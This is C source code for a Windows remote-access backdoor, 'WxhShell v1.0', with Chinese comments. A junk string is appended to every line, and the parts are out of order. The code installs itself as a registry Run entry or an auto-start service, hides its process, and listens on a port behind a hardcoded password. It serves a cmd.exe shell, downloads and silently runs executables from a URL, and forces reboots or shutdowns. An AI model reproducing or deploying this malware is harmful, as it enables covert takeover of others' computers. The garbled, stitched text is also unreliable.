    if(Boot(SHUTDOWN)) _ D8 zKp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;p fN  
    else { FYefn3b  
    closesocket(wsh); .'2I9P\!  
    ExitThread(0); x;~@T9.  
    } AE`{k-3=%  
    break; Qm"~XP  
    } <@+L^Ps~z  
  // 获取shell NE) w$>0M  
  case 's': { M\7F1\ X  
    CmdShell(wsh); t U~q4$qqE  
    closesocket(wsh); RF4B ]Gqd  
    ExitThread(0); :6EX-Xyj  
    break; pm i[M)D  
  } m] p]J_6A  
  // 退出 ~HT:BO$  
  case 'x': { %(POC=b#[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TM_bu  
    CloseIt(wsh); -O/[c  
    break; V2@( BliP  
    } ~ Hj c?*  
  // 离开 iXXaB +w  
  case 'q': { Xq ew~R^MP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jO*H8 XO  
    closesocket(wsh); Qx!Bf_,J  
    WSACleanup(); Y(EF )::  
    exit(1); *p0n^XZ% ?  
    break; 8. +f@wv  
        } N}{V*H^0QU  
  } EBQ_c@  
  } .N\t3\9}  
/6n"$qon6  
  // 提示信息 @$$ J}~{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gf4Hq&Rf  
} qvhG ^b0h  
  } Ep')@7^n  
bun_R-  
  return; /6\uBy"Xt  
} ?@Tsd@s~r  
Yc3\  
// shell模块句柄 3!#FG0Z   
int CmdShell(SOCKET sock) $`0,N_C<}  
{ =>A}eR1Y   
STARTUPINFO si; Pmr'W\aIR  
ZeroMemory(&si,sizeof(si)); '9<8<d7?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r4K%dx-t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HyYJ"54  
PROCESS_INFORMATION ProcessInfo; q_BMZEM  
char cmdline[]="cmd"; IM2<:N%'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4@a/k[,  
  return 0; J^~J&  
} 3(.Y>er%U  
k{ZQM  
// 自身启动模式 [W <j  
int StartFromService(void) LHA :frC  
{ 5C*- v,hF  
typedef struct A L |,\s  
{ Cyg(~7]  
  DWORD ExitStatus; ozHL'H  
  DWORD PebBaseAddress; wp4  .~E  
  DWORD AffinityMask; "tpD ->  
  DWORD BasePriority; ;\ j'~AyCn  
  ULONG UniqueProcessId; )QnsRW{D"  
  ULONG InheritedFromUniqueProcessId; g0;6}n  
}   PROCESS_BASIC_INFORMATION; j^f54Ky.  
/@DJf\`vM  
PROCNTQSIP NtQueryInformationProcess; YuzVh9jTI  
>I&s%4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8Vt'X2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {\LLiU}MJC  
?\X9Ei  
  HANDLE             hProcess; l%yQ{loTh  
  PROCESS_BASIC_INFORMATION pbi; jrttWT  
+#X+QG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .=hVto[QC  
  if(NULL == hInst ) return 0; >29c[O"[  
F^}d>2W(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L}g#h+GP[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wW<u)|>ye  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uX1{K%^<TW  
,eqRI>,\  
  if (!NtQueryInformationProcess) return 0; X?`mYoe  
M%SNq|Lo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nKTi"2dm  
  if(!hProcess) return 0; a785xSUV  
Wm)Id_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I: MrX  
uOd1:\%*  
  CloseHandle(hProcess); Ak O-PL  
a,fcR<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C!^;%VQ}d  
if(hProcess==NULL) return 0; =i/ r:  
]{ch]m  
HMODULE hMod; tWTC'Gx-J  
char procName[255]; \3F)M`g  
unsigned long cbNeeded; E^pn-rB  
} R hSt]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l$W)Vk<B(T  
?1eu9;q\*  
  CloseHandle(hProcess); r,L`@A=v  
a [f}-t9  
if(strstr(procName,"services")) return 1; // 以服务启动 7+6I~&x!Lz  
7WmY:g#s  
  return 0; // 注册表启动 s]D1s%Mx  
} k6\&[BQs  
Ms+SJ5Lg  
// 主模块 !rG-[7K  
int StartWxhshell(LPSTR lpCmdLine) 6eNBldP!  
{ bp}]'NA  
  SOCKET wsl; 3u;0,:X&  
BOOL val=TRUE; }C~9 ?Y  
  int port=0; rvb@4-i>iI  
  struct sockaddr_in door; |H 5$VSw  
( "<4Ry.u  
  if(wscfg.ws_autoins) Install(); Fa#5a'}I  
vrvi] Y8  
port=atoi(lpCmdLine); a 5w E{K  
kpQN>XV#  
if(port<=0) port=wscfg.ws_port; OE}c$!@  
,wyEo>>4)  
  WSADATA data; wDBU+Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5T'v iG}%  
`+UBl\j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cf%2A1I2W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zYftgH_o  
  door.sin_family = AF_INET; +)_DaL E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :8?l=B9("g  
  door.sin_port = htons(port); /6 y;fx  
V[7D4r.j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A\.{(,;kp  
closesocket(wsl); x Y}.mP  
return 1; Y"m}=\4{  
} $:vS_#  
w`zS`+4  
  if(listen(wsl,2) == INVALID_SOCKET) { UyDq`@h  
closesocket(wsl); }5B\:*yW  
return 1; koj*3@\p/  
} gf/<sH2}  
  Wxhshell(wsl); fA), ^  
  WSACleanup(); zIU6bMMT3u  
A "'h0D  
return 0; 1IK*j +%  
F9q!Upr_+  
} LftGA7uGJ)  
Ve40H6 Ox  
// 以NT服务方式启动 ]2iEi`"[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  SxX  
{ iU# "G" &  
DWORD   status = 0; OgCNq W d-  
  DWORD   specificError = 0xfffffff; bhfC2@  
'\"5qB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 81)i>]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (>*L-&-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &uf|Le4  
  serviceStatus.dwWin32ExitCode     = 0; x5M+\?I<2  
  serviceStatus.dwServiceSpecificExitCode = 0; Hig.` P  
  serviceStatus.dwCheckPoint       = 0; W/%9=g$m  
  serviceStatus.dwWaitHint       = 0; D\DwBZ>  
5hDPX \  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TR'_v[uK3  
  if (hServiceStatusHandle==0) return; d"lk"R  
veS) j?4  
status = GetLastError(); "R% RI( y{  
  if (status!=NO_ERROR) xhMAWFg|  
{ : TqeVf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X*&Thmee  
    serviceStatus.dwCheckPoint       = 0; 9]I{GyH  
    serviceStatus.dwWaitHint       = 0; mCQ:< #  
    serviceStatus.dwWin32ExitCode     = status; ~/2OK!M  
    serviceStatus.dwServiceSpecificExitCode = specificError; B}N1}i+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r( zn1;zl  
    return; z|$9%uz"  
  } FY/F}C,o  
U8<C4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s/P+?8'9  
  serviceStatus.dwCheckPoint       = 0; cSmy M~[  
  serviceStatus.dwWaitHint       = 0; iaRCV 6cl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "Sw raq  
} =L{-Hu/j  
r<Q0zKW!jN  
// 处理NT服务事件,比如:启动、停止 pK0@H"$8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LFvZ 7M\\  
{ 9)4_@rf%  
switch(fdwControl)  jQ-2SA O  
{ +Y>oNX1KN  
case SERVICE_CONTROL_STOP: df&.!7_R`  
  serviceStatus.dwWin32ExitCode = 0; gy"<[N .?c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,!P}Y[|  
  serviceStatus.dwCheckPoint   = 0; bb-u'"5^]  
  serviceStatus.dwWaitHint     = 0; O! _d5r&,  
  { KNOVb=# f_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2M+ *VO  
  } va0}?fy.O%  
  return; A5sz[k  
case SERVICE_CONTROL_PAUSE: J58S8:c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^RYq !l$  
  break; | S'mF6Y  
case SERVICE_CONTROL_CONTINUE: qtFHA+bO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lA4TWU (]  
  break; n`T4P$pt  
case SERVICE_CONTROL_INTERROGATE: Bz>5OuOVS\  
  break; U+!&~C^y  
}; WDt6{5T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *0<)PJ T  
} F]s:`4  
x1}Ono3"T  
// 标准应用程序主函数 `dRqheX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F;BCSoO4  
{ ,}wFQ9*|W  
X<g }F[Y  
// 获取操作系统版本 `X<a(5[vV3  
OsIsNt=GetOsVer(); M6].V*k'2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .sKfwcYu4  
/+m2|Ij(  
  // 从命令行安装 pv"s!q&  
  if(strpbrk(lpCmdLine,"iI")) Install(); #RHt;SFx  
6r`Xi&  
  // 下载执行文件 4I*'(6 ,!  
if(wscfg.ws_downexe) { 1had8K-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6.6?Rp".  
  WinExec(wscfg.ws_filenam,SW_HIDE); eK}GBBdO  
} {P )O#  
SnM^T(gtS3  
if(!OsIsNt) { O9AFQ)u   
// 如果时win9x,隐藏进程并且设置为注册表启动  , YlS  
HideProc(); aDu[iaZ  
StartWxhshell(lpCmdLine); n98sY+$-z  
} ~Bi%8G  
else 2HF`}H)H  
  if(StartFromService()) Z_[L5B]Gwd  
  // 以服务方式启动 z|\n^ZK=  
  StartServiceCtrlDispatcher(DispatchTable); #er% q:  
else ^1_CS*  
  // 普通方式启动 [\  &2&  
  StartWxhshell(lpCmdLine); lR]FQnZ  
{.J<^V  
return 0; j-ob7(v)*]  
} Qraa0]56  
#qeC)T  
*eI{g  
s-~`Ao' <  
=========================================== DgB;6Wl  
_CBMU'V  
"/Gw`^t  
c:<a"$  
Z$zX%w  
<5}j(jxz}  
" : t /0  
aX Ie  
#include <stdio.h> xC}'"``s  
#include <string.h> @#;*e] 1a  
#include <windows.h> oA@c.%&  
#include <winsock2.h> pWP1$;8   
#include <winsvc.h> <qEBF`XP=  
#include <urlmon.h> :[0)Uu{  
9~jS_Y)"  
#pragma comment (lib, "Ws2_32.lib") 1qBE|PwBp  
#pragma comment (lib, "urlmon.lib") "bQi+@  
k;)mc+ ~+  
#define MAX_USER   100 // 最大客户端连接数 w^,Xa  
#define BUF_SOCK   200 // sock buffer WZh_z^rwn  
#define KEY_BUFF   255 // 输入 buffer E[4 vUnm-  
L!,@_   
#define REBOOT     0   // 重启 =d]}7PO ~  
#define SHUTDOWN   1   // 关机 ( GoPXh  
}}k*i0  
#define DEF_PORT   5000 // 监听端口 rmr :G  
wSPmiJ/!  
#define REG_LEN     16   // 注册表键长度 i'\-Y]?[  
#define SVC_LEN     80   // NT服务名长度 ?CcX>R-/  
D0z[h(m  
// 从dll定义API F/3L^k]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <FI*A+I4\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q- 0q:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G5RdytK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q>cEG"  
$: |`DCC  
// wxhshell配置信息 1kR. .p<"  
struct WSCFG { {-f%g-@L6|  
  int ws_port;         // 监听端口 g:GywX W  
  char ws_passstr[REG_LEN]; // 口令 ZSyXzop  
  int ws_autoins;       // 安装标记, 1=yes 0=no |f!J-H)  
  char ws_regname[REG_LEN]; // 注册表键名 iyXd"O  
  char ws_svcname[REG_LEN]; // 服务名 &xGpbJG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eZ-fy,E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @u: `  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B<n[yiJ}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7S=,#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TQ0ZBhd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Of-xGo YZ  
S.q0L  
};  yK$aVK"  
b#R$P]dr=  
// default Wxhshell configuration 62y:i  
struct WSCFG wscfg={DEF_PORT, R0LWuE%eD  
    "xuhuanlingzhe", 1&<o3)L:  
    1, %d%?\jVb  
    "Wxhshell", aAG']y  
    "Wxhshell", k GYsjhL\d  
            "WxhShell Service", 3d4A~!Iz  
    "Wrsky Windows CmdShell Service", O'{kNr{u  
    "Please Input Your Password: ", lnLy"f"zV  
  1, e4tC[6;  
  "http://www.wrsky.com/wxhshell.exe", t%0c$c  
  "Wxhshell.exe" 'cQ,;y  
    }; +{C)^!zBK  
d 2^/  
// 消息定义模块 J9DI(`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *c&OAL]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LZ.Xcy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aw~h03R_Z  
char *msg_ws_ext="\n\rExit."; p<}y'7(  
char *msg_ws_end="\n\rQuit."; ,v#n\LD`  
char *msg_ws_boot="\n\rReboot..."; B([-GpZt[  
char *msg_ws_poff="\n\rShutdown..."; 'J5F+, \Ka  
char *msg_ws_down="\n\rSave to "; K2e *AE*  
wu`+KUx  
char *msg_ws_err="\n\rErr!"; U^%)BI  
char *msg_ws_ok="\n\rOK!";  Fq5u%S  
! Vlx  
char ExeFile[MAX_PATH]; ('$*QC.M  
int nUser = 0; _ qwf3Q@  
HANDLE handles[MAX_USER]; *N:0L,8  
int OsIsNt; B3u/ y  
` aF8|tc_  
SERVICE_STATUS       serviceStatus; |@yYM-;6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ;Q4,I[?%  
aDxNAfP  
// 函数声明 `h'=F(v(}  
int Install(void); ~TeOl|!lE+  
int Uninstall(void); DuDt'^]  
int DownloadFile(char *sURL, SOCKET wsh); o?Cc  
int Boot(int flag); 2N]8@a  
void HideProc(void); UK1)U)*+  
int GetOsVer(void); -3azA7tzz  
int Wxhshell(SOCKET wsl); WVK AA.  
void TalkWithClient(void *cs); 23`salLclG  
int CmdShell(SOCKET sock); r<Cr)%z!  
int StartFromService(void); j(]O$""  
int StartWxhshell(LPSTR lpCmdLine); `wU['{=  
HW,v"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x?0K'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l^B4.1rT  
)pT5"{  
// 数据结构和表定义 ;aX?K/  
SERVICE_TABLE_ENTRY DispatchTable[] = @TX@78fWz=  
{ )*{B_[  
{wscfg.ws_svcname, NTServiceMain}, Sy4|JM-5  
{NULL, NULL} #s15AyKz5  
}; p@uHzu7  
b4bd^nrqV  
// 自我安装 ?Tu=-ppw  
int Install(void) N-knhA  
{ " zD9R4\X.  
  char svExeFile[MAX_PATH]; 0GeL">v,:=  
  HKEY key; \AA9 m'BZ  
  strcpy(svExeFile,ExeFile); NH}o`x/  
_>kc:  
// 如果是win9x系统,修改注册表设为自启动 g,M-[o=Fk  
if(!OsIsNt) { y 5=r r3%v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !>80p~L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "`cPV){]  
  RegCloseKey(key); b=pk;'-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J:>o\%sF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |YyNqwP`,  
  RegCloseKey(key); un -h%-e |  
  return 0; GEh(pJ  
    } VKX|0~  
  } x=Oy 6"  
} D1v0`od'  
else { "J2q|@.  
5B2p_$W#  
// 如果是NT以上系统,安装为系统服务 jgG9?w)|u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8F`8=L NO  
if (schSCManager!=0) ^B} m~qT  
{ As,e.V5!  
  SC_HANDLE schService = CreateService Ut;4`>T  
  ( |UMm>.\'  
  schSCManager, t8h*SHD9  
  wscfg.ws_svcname, ]&q<O0^'  
  wscfg.ws_svcdisp, \4G9YK-N>  
  SERVICE_ALL_ACCESS, (l-= /6-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zl3e=sg=  
  SERVICE_AUTO_START, ~yw]<{?  
  SERVICE_ERROR_NORMAL, ~LV]cX2J(  
  svExeFile, 2ww H3}  
  NULL, ryh"/lu[B  
  NULL, oVn&L*H   
  NULL, eA-oqolY  
  NULL, nK?S2/o#A  
  NULL C~@m6K  
  ); &Mudu/KTr  
  if (schService!=0) H)gc"aRe;Y  
  { E?P>s T3B  
  CloseServiceHandle(schService); "G.X=, V  
  CloseServiceHandle(schSCManager); 3Wv^{|^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n5.sx|bI?  
  strcat(svExeFile,wscfg.ws_svcname); !bYVLFp=\_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QSa#}vCp*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ckY#oRQ1  
  RegCloseKey(key); {j]cL !Od  
  return 0; 43M.Hj]  
    } bo\Ah/.  
  } Q*PcO\Y!y  
  CloseServiceHandle(schSCManager); I#O"<0 *r  
} a~_JTH4=t  
} ]YFjz/f  
[R%*C9Y d  
return 1;  4W*o:Y!  
} K$/"I0YyI  
'b}RFzEn  
// 自我卸载 /NCN wAj7  
int Uninstall(void) GP hhg  
{ l7^^Mnk C  
  HKEY key; B; e<.M)e  
Q8m%mJz~]  
if(!OsIsNt) { j8[U}~*^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2-8Dc4H]r  
  RegDeleteValue(key,wscfg.ws_regname); qAH^BrJ  
  RegCloseKey(key); $6wSqH?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M57<e`m  
  RegDeleteValue(key,wscfg.ws_regname); ~Hub\kn  
  RegCloseKey(key); S qb>a j  
  return 0; #!UJY%c ~  
  } q6C`hVM l  
} z7`|N`$Z#s  
} 3I~.'>Pd  
else { 9S}rTZkEq  
`H$XO{w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s_fe4K  
if (schSCManager!=0) @!! u>1  
{ 2672oFD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n~|?)EL  
  if (schService!=0) 2 A!*8w  
  { ;NdH]a {  
  if(DeleteService(schService)!=0) { }k%6X@  
  CloseServiceHandle(schService); <Y?Z&rNb  
  CloseServiceHandle(schSCManager); FP=- jf/  
  return 0; ,;w~ VZ4  
  } Y]0c%Fd  
  CloseServiceHandle(schService); g*YA~J@  
  } &Y=~j?~Xm  
  CloseServiceHandle(schSCManager); v :/!OvLe  
} X coPkW  
} 2!B|w8ar  
Q}lCQK/g  
return 1; P<vU!`x% q  
} S 4 17.n  
V^[&4  
// 从指定url下载文件 (W:@v&p  
int DownloadFile(char *sURL, SOCKET wsh) [ R+M .5  
{ {zm8`  
  HRESULT hr; A"b31*_  
char seps[]= "/"; qQ3Q4R\  
char *token; q/I( e  
char *file; hwXsfh |  
char myURL[MAX_PATH]; dB4ifeT]  
char myFILE[MAX_PATH]; -A w]b} #v  
7JQ4*RM  
strcpy(myURL,sURL); ,IboPh&Q78  
  token=strtok(myURL,seps); |LQ%sV  
  while(token!=NULL) ]j/= x2p  
  { *,lDo9  
    file=token; :g63*d+/G  
  token=strtok(NULL,seps); CA`V)XIsP  
  } }O@>:?U  
GyQFR?  
GetCurrentDirectory(MAX_PATH,myFILE); /K&9c !]$C  
strcat(myFILE, "\\"); Q?>r:vMi  
strcat(myFILE, file); e3CFW_p  
  send(wsh,myFILE,strlen(myFILE),0); ky[Cx!81C  
send(wsh,"...",3,0); oOI0q_bf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z[_Y,I  
  if(hr==S_OK) #1'q'f:7 &  
return 0; (b#M4ho*f  
else }'x)e  
return 1; Z!|r>  
N^oP,^+U  
} P`Ku. ONQ  
Fh)xm* u(  
// 系统电源模块 jH<Sf: Y(  
int Boot(int flag) SEzjc ~@3  
{ # f-hI  
  HANDLE hToken; 8el6z2  
  TOKEN_PRIVILEGES tkp; E<3xv;v8r  
`0]N#G T  
  if(OsIsNt) { ' abEY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }?mSMqnB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e Fz$h2*B  
    tkp.PrivilegeCount = 1; t`Z3*?UqI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xJ/)*?@+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TM#L.xPMf  
if(flag==REBOOT) { 2H9hN4N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d<j`=QH  
  return 0; Wgte.K> /  
} ?o+%ckH  
else { PsNrCe%e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d9TTAaf  
  return 0; Y3[KS;_fr9  
} i3|xdYe$  
  } 8/)\nV$0Y  
  else { `H:`JBe=+[  
if(flag==REBOOT) { u,8)M' UU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) klQmo30i  
  return 0; +:jonN9d  
} >uYQt ~s  
else { 8493Sw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +fboTsp% H  
  return 0; M}11 tUl  
} |A*4Fuc&  
} 7=?!B#hm !  
G5U?]& I8  
return 1; BXdk0  
} `W)?d I?#M  
^rq\kf*]  
// win9x进程隐藏模块 xOShO"4Z   
void HideProc(void) xP_%d,  
{ *Xk5H,:  
|33t5}we  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a~LA&>@  
  if ( hKernel != NULL ) /"La@M37  
  { W3UxFs]$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T:{&e WH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =ZURh_{xV  
    FreeLibrary(hKernel); ]}b  
  } tTTHQ7o*BD  
|X>'W"Mn  
return; dYD;Z<l  
} hq {{XQ  
zL+t&P[\  
// 获取操作系统版本 Ip7#${f5M  
int GetOsVer(void) "!vY{9,  
{ n!Y_SPg   
  OSVERSIONINFO winfo; v+{{j|x=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ELnUpmv\  
  GetVersionEx(&winfo); oCkG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ].J;8}  
  return 1; Am@Ta "2  
  else !`Kg&t [&V  
  return 0; tc`3-goX  
} ]\|2=  
iupkb  
// 客户端句柄模块 MQw}R7  
int Wxhshell(SOCKET wsl) ]3,9 ."^  
{ {~9HJDcM  
  SOCKET wsh; e{87n>+,  
  struct sockaddr_in client; n;:.UGl9.  
  DWORD myID; .+XK>jl +  
r@r*|50  
  while(nUser<MAX_USER) ^(+q 1O'  
{ cOdRb=?9  
  int nSize=sizeof(client); b1#C,UWK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oZ/"^5  
  if(wsh==INVALID_SOCKET) return 1; GO2q"a  
Pi5MFw'v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !\{2s!l~  
if(handles[nUser]==0) r3' DXP  
  closesocket(wsh); ?F]P=S:x  
else Xux[  
  nUser++; |(W wh$  
  } *V:U\G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;0m J4G  
NX%1L! #  
  return 0; 6|q"lS*$S  
} 6p)&}m9!  
J/Y9X ,  
// 关闭 socket 55.2UN  
void CloseIt(SOCKET wsh) PCaFG;}  
{ L`<#vi  
closesocket(wsh); WGA&Lr  
nUser--; x7E] }h  
ExitThread(0); rG~W=!bj  
} B=]L%~xL$  
/2T  W?a  
// 客户端请求句柄 E<-W & a}  
void TalkWithClient(void *cs) zP0<4E$M`  
{ 4$vUD1('  
v7@"9Uw}  
  SOCKET wsh=(SOCKET)cs; 5|eX@?QF58  
  char pwd[SVC_LEN]; 3,G|oR{D  
  char cmd[KEY_BUFF]; yw+]S  
char chr[1]; 7Z:HwZ  
int i,j; ~b#<HG\,,  
t*Ro2QZ  
  while (nUser < MAX_USER) { f2gh|p`  
-a_qZ7  
if(wscfg.ws_passstr) { }*9F`=%F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PtUS7[]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a'Cny((  
  //ZeroMemory(pwd,KEY_BUFF); $H3C/|  
      i=0; dkEbP*y Xg  
  while(i<SVC_LEN) { xzY/$?  
g&p(XuN  
  // 设置超时 $~:ZzZO  
  fd_set FdRead; cu5}(  
  struct timeval TimeOut; (T2HUmkQ6  
  FD_ZERO(&FdRead); '=+N )O  
  FD_SET(wsh,&FdRead); :,p3&2 I  
  TimeOut.tv_sec=8; 3v3cK1K@oE  
  TimeOut.tv_usec=0; 11QZ- ^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j^b &Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L T`T~|pz  
9HN&M*}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :tFc Pc'  
  pwd=chr[0]; yO8@.-jb  
  if(chr[0]==0xd || chr[0]==0xa) { J| &aqY  
  pwd=0; -,/6 Wn'j  
  break; x v$fw>  
  } @(=?x:j  
  i++; qOpwl*?x+  
    } tOnOzD  
%jj-\Gz!  
  // 如果是非法用户,关闭 socket )ZLj2H<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g$)0E<  
} _+)OL-  
[?<v|k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n3V$Xtxw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g8Y)90 G  
6w3[PNd  
while(1) { 3_;=y\F  
`xv Uq\  
  ZeroMemory(cmd,KEY_BUFF); ^=-25%&^  
lws.;abm%n  
      // 自动支持客户端 telnet标准   !}P^O(oY  
  j=0; [m< jM[w{  
  while(j<KEY_BUFF) { [W[awGf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B(71I;  
  cmd[j]=chr[0]; |uFb(kL[U  
  if(chr[0]==0xa || chr[0]==0xd) { l#ct;KZ  
  cmd[j]=0; g1F9IB42@<  
  break; Su,<idS  
  } |,n(9Ix  
  j++; ^oDs*F  
    } 4$2HO `@uN  
T^d<vH  
  // 下载文件  K\ pZ  
  if(strstr(cmd,"http://")) { ?t\GHQ$$?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7w5l[a/  
  if(DownloadFile(cmd,wsh)) /P[u vO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; 1?L  
  else yP-$@Ry  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .aWwJZ=[  
  } %|/\Qu  
  else { Yqu/_6wLx  
(NnE\2  
    switch(cmd[0]) { hP[/xe  
